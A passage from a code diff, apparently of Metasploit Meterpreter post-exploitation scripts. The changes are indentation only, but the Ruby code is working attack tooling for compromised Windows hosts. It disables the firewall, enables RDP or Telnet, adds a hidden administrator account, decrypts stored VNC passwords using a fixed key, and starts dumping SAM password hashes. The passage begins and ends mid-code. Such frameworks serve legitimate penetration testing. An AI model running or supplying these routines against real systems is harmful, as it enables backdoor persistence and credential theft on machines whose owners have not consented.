configuration...") + opmode = "" + r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true}) + while(d = r.channel.read) + opmode << d + end + r.channel.close + r.close + opmode.split("\n").each do |o| + print_status("\t#{o}") + end + if (killfw) + print_status("Disabling Built in Firewall.....") + f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = f.channel.read) + if d =~ /The requested operation requires elevation./ + print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall") + end + end + f.channel.close + f.close + end end #------------------------------------------------------------------------------- # Function for getting the current DEP Policy on the Windows Target def checkdep(session) - tmpout = "" - depmode = "" - # Expand environment %TEMP% variable - tmp = session.fs.file.expand_path("%TEMP%") - # Create random name for the wmic output - wmicfile = sprintf("%.5d",rand(100000)) - wmicout = "#{tmp}\\#{wmicfile}" - print_status("Checking DEP Support Policy...") - r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true}) - sleep(2) - r.close - r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - tmpout << d - end - r.channel.close - r.close - session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true}) - depmode = tmpout.scan(/(\d)/) - if depmode.to_s == "0" - print_status("\tDEP is off for the whole system.") - elsif depmode.to_s == "1" - print_status("\tFull DEP coverage for the whole system with no exceptions.") - elsif depmode.to_s == "2" - print_status("\tDEP is limited to Windows system binaries.") - elsif depmode.to_s == "3" - print_status("\tDEP is on for all programs and services.") - end + tmpout = "" + depmode = "" + # Expand environment %TEMP% variable + tmp = session.fs.file.expand_path("%TEMP%") + # Create random name for the wmic output + wmicfile = sprintf("%.5d",rand(100000)) + wmicout = "#{tmp}\\#{wmicfile}" + print_status("Checking DEP Support Policy...") + r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true}) + sleep(2) + r.close + r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + tmpout << d + end + r.channel.close + r.close + session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true}) + depmode = tmpout.scan(/(\d)/) + if depmode.to_s == "0" + print_status("\tDEP is off for the whole system.") + elsif depmode.to_s == "1" + print_status("\tFull DEP coverage for the whole system with no exceptions.") + elsif depmode.to_s == "2" + print_status("\tDEP is limited to Windows system binaries.") + elsif depmode.to_s == "3" + print_status("\tDEP is on for all programs and services.") + end end #------------------------------------------------------------------------------- def checkuac(session) - print_status("Checking if UAC is enabled ...") - key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' - root_key, base_key = session.sys.registry.splitkey(key) - value = "EnableLUA" - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(value) - if v.data == 1 - print_status("\tUAC is Enabled") - else - print_status("\tUAC is Disabled") - end + print_status("Checking if UAC is enabled ...") + key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' + root_key, base_key = session.sys.registry.splitkey(key) + value = "EnableLUA" + open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(value) + if v.data == 1 + print_status("\tUAC is Enabled") + else + print_status("\tUAC is Disabled") + end end ################## MAIN ################## killbt = false killfw = false @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-k" - killbt = true - when "-d" - killfw = true - when "-h" - usage - end + case opt + when "-k" + killbt = true + when "-d" + killfw = true + when "-h" + usage + end } # get the version of windows if client.platform =~ /win32|win64/ - wnvr = session.sys.config.sysinfo["OS"] - print_status("Running Getcountermeasure on the target...") - check(session,avs,killbt) - if wnvr !~ /Windows 2000/ - checklocalfw(session, killfw) - checkdep(session) - end - if wnvr =~ /Windows Vista/ - checkuac(session) - end + wnvr = session.sys.config.sysinfo["OS"] + print_status("Running Getcountermeasure on the target...") + check(session,avs,killbt) + if wnvr !~ /Windows 2000/ + checklocalfw(session, killfw) + checkdep(session) + end + if wnvr =~ /Windows Vista/ + checkuac(session) + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index f027423a46..f9f1d01893 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -17,107 +17,107 @@ logs = ::File.join(Msf::Config.log_directory,'scripts', 'getgui') @dest = logs + "/clean_up_" + filenameinfo + ".rc" @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Enable RDP only." ], - "-p" => [ true, "The Password of the user to add." ], - "-u" => [ true, "The Username of the user to add." ], - "-f" => [ true, "Forward RDP Connection." ] + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Enable RDP only." ], + "-p" => [ true, "The Password of the user to add." ], + "-u" => [ true, "The Username of the user to add." ], + "-f" => [ true, "Forward RDP Connection." ] ) def usage - print_line("Windows Remote Desktop Enabler Meterpreter Script") - print_line("Usage: getgui -u <username> -p <password>") - print_line("Or: getgui -e") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Windows Remote Desktop Enabler Meterpreter Script") + print_line("Usage: getgui -u <username> -p <password>") + print_line("Or: getgui -e") + print(@@exec_opts.usage) + raise Rex::Script::Completed end def enablerd() - key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server' - value = "fDenyTSConnections" - begin - v = registry_getvaldata(key,value) - print_status "Enabling Remote Desktop" - if v == 1 - print_status "\tRDP is disabled; enabling it ..." - registry_setvaldata(key,value,0,"REG_DWORD") - file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"") - else - print_status "\tRDP is already enabled" - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server' + value = "fDenyTSConnections" + begin + v = registry_getvaldata(key,value) + print_status "Enabling Remote Desktop" + if v == 1 + print_status "\tRDP is disabled; enabling it ..." + registry_setvaldata(key,value,0,"REG_DWORD") + file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"") + else + print_status "\tRDP is already enabled" + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end def enabletssrv() - rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" - begin - v2 = registry_getvaldata(rdp_key,"Start") - print_status "Setting Terminal Services service startup mode" - if v2 != 2 - print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." - service_change_startup("TermService","auto") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") - cmd_exec("sc start termservice") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") + rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" + begin + v2 = registry_getvaldata(rdp_key,"Start") + print_status "Setting Terminal Services service startup mode" + if v2 != 2 + print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." + service_change_startup("TermService","auto") + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") + cmd_exec("sc start termservice") + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") - else - print_status "\tTerminal Services service is already set to auto" - end - #Enabling Exception on the Firewall - print_status "\tOpening port in local firewall if necessary" - cmd_exec('netsh firewall set service type = remotedesktop mode = enable') - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"") - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + else + print_status "\tTerminal Services service is already set to auto" + end + #Enabling Exception on the Firewall + print_status "\tOpening port in local firewall if necessary" + cmd_exec('netsh firewall set service type = remotedesktop mode = enable') + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"") + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end def addrdpusr(session, username, password) - rdu = resolve_sid("S-1-5-32-555")[:name] - admin = resolve_sid("S-1-5-32-544")[:name] + rdu = resolve_sid("S-1-5-32-555")[:name] + admin = resolve_sid("S-1-5-32-544")[:name] - print_status "Setting user account for logon" - print_status "\tAdding User: #{username} with Password: #{password}" - begin - addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") - if addusr_out =~ /success/i - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") - print_status "\tHiding user from Windows Login screen" - hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' - registry_setvaldata(hide_user_key,username,0,"REG_DWORD") - file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") - print_status "\tAdding User: #{username} to local group '#{rdu}'" - cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") + print_status "Setting user account for logon" + print_status "\tAdding User: #{username} with Password: #{password}" + begin + addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") + if addusr_out =~ /success/i + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") + print_status "\tHiding user from Windows Login screen" + hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' + registry_setvaldata(hide_user_key,username,0,"REG_DWORD") + file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") + print_status "\tAdding User: #{username} to local group '#{rdu}'" + cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") - print_status "\tAdding User: #{username} to local group '#{admin}'" - cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") - print_status "You can now login with the created user" - else - print_error("Account could not be created") - print_error("Error:") - addusr_out.each_line do |l| - print_error("\t#{l.chomp}") - end - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + print_status "\tAdding User: #{username} to local group '#{admin}'" + cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") + print_status "You can now login with the created user" + else + print_error("Account could not be created") + print_error("Error:") + addusr_out.each_line do |l| + print_error("\t#{l.chomp}") + end + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end def message - print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator" - print_status "Carlos Perez carlos_perez@darkoperator.com" + print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator" + print_status "Carlos Perez carlos_perez@darkoperator.com" end ################## MAIN ################## # Parsing of Options @@ -129,55 +129,55 @@ enbl = nil frwrd = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-u" - usr = val - when "-p" - pass = val - when "-h" - usage - when "-f" - frwrd = true - lport = val - when "-e" - enbl = true - end + case opt + when "-u" + usr = val + when "-p" + pass = val + when "-h" + usage + when "-f" + frwrd = true + lport = val + when "-e" + enbl = true + end } if client.platform =~ /win32|win64/ - if args.length > 0 - if enbl or (usr and pass) - message - if enbl - if is_admin? - enablerd() - enabletssrv() - else - print_error("Insufficient privileges, Remote Desktop Service was not modified.") - end - end + if args.length > 0 + if enbl or (usr and pass) + message + if enbl + if is_admin? + enablerd() + enabletssrv() + else + print_error("Insufficient privileges, Remote Desktop Service was not modified.") + end + end - if usr and pass - if is_admin? - addrdpusr(session, usr, pass) - else - print_error("Insufficient privileges, account was not be created.") - end - end + if usr and pass + if is_admin? + addrdpusr(session, usr, pass) + else + print_error("Insufficient privileges, account was not be created.") + end + end - if frwrd == true - print_status("Starting the port forwarding at local port #{lport}") - client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1") - end - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") - else - usage - end + if frwrd == true + print_status("Starting the port forwarding at local port #{lport}") + client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1") + end + print_status("For cleanup use command: run multi_console_command -rc #{@dest}") + else + usage + end - else - usage - end + else + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index 0604f40eb6..dc18aadb82 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -16,113 +16,113 @@ logs = ::File.join(Msf::Config.log_directory,'scripts', 'gettelnet') @dest = logs + "/clean_up_" + filenameinfo + ".rc" @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Enable Telnet Server only." ], - "-p" => [ true, "The Password of the user to add." ], - "-u" => [ true, "The Username of the user to add." ], - "-f" => [ true, "Forward Telnet Connection." ] + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Enable Telnet Server only." ], + "-p" => [ true, "The Password of the user to add." ], + "-u" => [ true, "The Username of the user to add." ], + "-f" => [ true, "Forward Telnet Connection." ] ) def checkifinst() - # This won't work on windows 2000 since there is no sc.exe - print_status("Checking if Telnet is installed...") - begin - registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\","Start") - return true - rescue - return false + # This won't work on windows 2000 since there is no sc.exe + print_status("Checking if Telnet is installed...") + begin + registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\","Start") + return true + rescue + return false - end + end end #--------------------------------------------------------------------------------------------------------- def insttlntsrv() - trgtos = @client.sys.config.sysinfo['OS'] - if trgtos =~ /Vista|7|2008/ - print_status("Checking if Telnet Service is Installed") - if checkifinst() - print_status("Telnet Service Installed on Target") - else - print_status("Installing Telnet Server Service ......") - cmd_exec("cmd /c ocsetup TelnetServer") - prog2check = "ocsetup.exe" - found = 0 - while found == 0 - @client.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - print_line "*" - sleep(0.5) - found = 0 - end - end - end - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"") - print_status("Finished installing the Telnet Service.") + trgtos = @client.sys.config.sysinfo['OS'] + if trgtos =~ /Vista|7|2008/ + print_status("Checking if Telnet Service is Installed") + if checkifinst() + print_status("Telnet Service Installed on Target") + else + print_status("Installing Telnet Server Service ......") + cmd_exec("cmd /c ocsetup TelnetServer") + prog2check = "ocsetup.exe" + found = 0 + while found == 0 + @client.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + print_line "*" + sleep(0.5) + found = 0 + end + end + end + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"") + print_status("Finished installing the Telnet Service.") - end - elsif trgtos =~ /2003/ - file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"") - end + end + elsif trgtos =~ /2003/ + file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"") + end end #--------------------------------------------------------------------------------------------------------- def enabletlntsrv() - key2 = "HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\" - value2 = "Start" - begin - v2 = registry_getvaldata(key2,value2) - print_status "Setting Telnet Server Services service startup mode" - if v2 != 2 - print_status "\tThe Telnet Server Services service is not set to auto, changing it to auto ..." - cmmds = [ 'sc config TlntSvr start= auto', "sc start TlntSvr", ] - cmmds. each do |cmd| - cmd_exec(cmd) - end - else - print_status "\tTelnet Server Services service is already set to auto" - end - # Enabling Exception on the Firewall - print_status "\tOpening port in local firewall if necessary" - cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable') + key2 = "HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\" + value2 = "Start" + begin + v2 = registry_getvaldata(key2,value2) + print_status "Setting Telnet Server Services service startup mode" + if v2 != 2 + print_status "\tThe Telnet Server Services service is not set to auto, changing it to auto ..." + cmmds = [ 'sc config TlntSvr start= auto', "sc start TlntSvr", ] + cmmds. each do |cmd| + cmd_exec(cmd) + end + else + print_status "\tTelnet Server Services service is already set to auto" + end + # Enabling Exception on the Firewall + print_status "\tOpening port in local firewall if necessary" + cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable') - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end #--------------------------------------------------------------------------------------------------------- def addrdpusr(username, password) - print_status "Setting user account for logon" - print_status "\tAdding User: #{username} with Password: #{password}" - begin - cmd_exec("net user #{username} #{password} /add") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") - print_status "\tAdding User: #{username} to local group TelnetClients" - cmd_exec("net localgroup \"TelnetClients\" #{username} /add") + print_status "Setting user account for logon" + print_status "\tAdding User: #{username} with Password: #{password}" + begin + cmd_exec("net user #{username} #{password} /add") + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") + print_status "\tAdding User: #{username} to local group TelnetClients" + cmd_exec("net localgroup \"TelnetClients\" #{username} /add") - print_status "\tAdding User: #{username} to local group Administrators" - cmd_exec("net localgroup Administrators #{username} /add") + print_status "\tAdding User: #{username} to local group Administrators" + cmd_exec("net localgroup Administrators #{username} /add") - print_status "You can now login with the created user" - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + print_status "You can now login with the created user" + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end #--------------------------------------------------------------------------------------------------------- def message - print_status "Windows Telnet Server Enabler Meterpreter Script" + print_status "Windows Telnet Server Enabler Meterpreter Script" end def usage - print_line("Windows Telnet Server Enabler Meterpreter Script") - print_line("Usage: gettelnet -u <username> -p <password>") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Windows Telnet Server Enabler Meterpreter Script") + print_line("Usage: gettelnet -u <username> -p <password>") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@ -133,40 +133,40 @@ pass = nil frwrd = nil enbl = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-u" - usr = val - when "-p" - pass = val - when "-h" - usage - when "-f" - frwrd = true - when "-e" - enbl = true - end + case opt + when "-u" + usr = val + when "-p" + pass = val + when "-h" + usage + when "-f" + frwrd = true + when "-e" + enbl = true + end } unsupported if client.platform !~ /win32|win64/i if enbl - message - insttlntsrv() - enabletlntsrv() - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") + message + insttlntsrv() + enabletlntsrv() + print_status("For cleanup use command: run multi_console_command -rc #{@dest}") elsif usr!= nil && pass != nil - message - insttlntsrv() - enabletlntsrv() - addrdpusr(usr, pass) - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") + message + insttlntsrv() + enabletlntsrv() + addrdpusr(usr, pass) + print_status("For cleanup use command: run multi_console_command -rc #{@dest}") else - usage + usage end if frwrd == true - print_status("Starting the port forwarding at local port #{lport}") - client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 23 -r 127.0.0.1") + print_status("Starting the port forwarding at local port #{lport}") + client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 23 -r 127.0.0.1") end diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index 21484313c4..e588564cf9 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -14,37 +14,37 @@ require 'rex/proto/rfb/cipher' session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-k" => [ true, "Specific registry key to search (minus Password)."], - "-l" => [ false, "List default key locations"] + "-h" => [ false, "Help menu."], + "-k" => [ true, "Specific registry key to search (minus Password)."], + "-l" => [ false, "List default key locations"] ) def usage() - print("\nPull the VNC Password from a Windows Meterpreter session\n") - print("By default an internal list of keys will be searched.\n\n") - print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n") - print("\t-l\tList default key locations\n\n") - completed + print("\nPull the VNC Password from a Windows Meterpreter session\n") + print("By default an internal list of keys will be searched.\n\n") + print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n") + print("\t-l\tList default key locations\n\n") + completed end def get_vncpw(session, key) - root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) - begin - return open_key.query_value('Password') - rescue - # no registry key found or other error - return nil - end + root_key, base_key = session.sys.registry.splitkey(key) + open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) + begin + return open_key.query_value('Password') + rescue + # no registry key found or other error + return nil + end end def listkeylocations(keys) - print_line("\nVNC Registry Key Locations") - print_line("--------------------------\n") - keys.each { |key| - print_line("\t#{key}") - } - completed + print_line("\nVNC Registry Key Locations") + print_line("--------------------------\n") + keys.each { |key| + print_line("\t#{key}") + } + completed end # fixed des key @@ -52,11 +52,11 @@ fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07" # 5A B2 CD C0 BA DC AF 13 # some common places for VNC password hashes keys = [ - 'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3', - 'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default', - 'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default', - 'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4', - 'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default', + 'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3', + 'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default', + 'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default', + 'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4', + 'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default', ] # parse the command line @@ -64,38 +64,38 @@ listkeylocs = false keytosearch = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - listkeylocations(keys) - when "-k" - keytosearch = val - end + case opt + when "-h" + usage + when "-l" + listkeylocations(keys) + when "-k" + keytosearch = val + end } if client.platform =~ /win32|win64/ if keytosearch == nil - print_status("Searching for VNC Passwords in the registry....") - keys.each { |key| - vncpw = get_vncpw(session, key) - if vncpw - vncpw_hextext = vncpw.data.unpack("H*").to_s - vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey - print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}") - end - } + print_status("Searching for VNC Passwords in the registry....") + keys.each { |key| + vncpw = get_vncpw(session, key) + if vncpw + vncpw_hextext = vncpw.data.unpack("H*").to_s + vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey + print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}") + end + } else - print_status("Searching in regkey: #{keytosearch}") - vncpw = get_vncpw(session, keytosearch) - if vncpw - vncpw_hextext = vncpw.data.unpack("H*").to_s - vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey - print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}") - else - print_status("Not found") - end + print_status("Searching in regkey: #{keytosearch}") + vncpw = get_vncpw(session, keytosearch) + if vncpw + vncpw_hextext = vncpw.data.unpack("H*").to_s + vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey + print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}") + else + print_status("Not found") + end end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 2ab37157fc..022f795d9c 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -3,21 +3,21 @@ @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-p" => [ true, "The SMB port used to associated credentials."] + "-h" => [ false, "Help menu." ], + "-p" => [ true, "The SMB port used to associated credentials."] ) smb_port = 445 opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "hashdump -- dump SMB hashes to the database" - print_line(opts.usage) - raise Rex::Script::Completed - when "-p" - smb_port = val.to_i - end + case opt + when "-h" + print_line "hashdump -- dump SMB hashes to the database" + print_line(opts.usage) + raise Rex::Script::Completed + when "-p" + smb_port = val.to_i + end } # Constants for SAM decryption @@ -29,271 +29,271 @@ opts.parse(args) { |opt, idx, val| @sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") @des_odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 ] def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" - %W{JD Skew1 GBG Data}.each do |k| - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") - ok.close - end + bootkey = "" + basekey = "System\\CurrentControlSet\\Control\\Lsa" + %W{JD Skew1 GBG Data}.each do |k| + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + return nil if not ok + bootkey << [ok.query_class.to_i(16)].pack("V") + ok.close + end - keybytes = bootkey.unpack("C*") - descrambled = "" + keybytes = bootkey.unpack("C*") + descrambled = "" # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 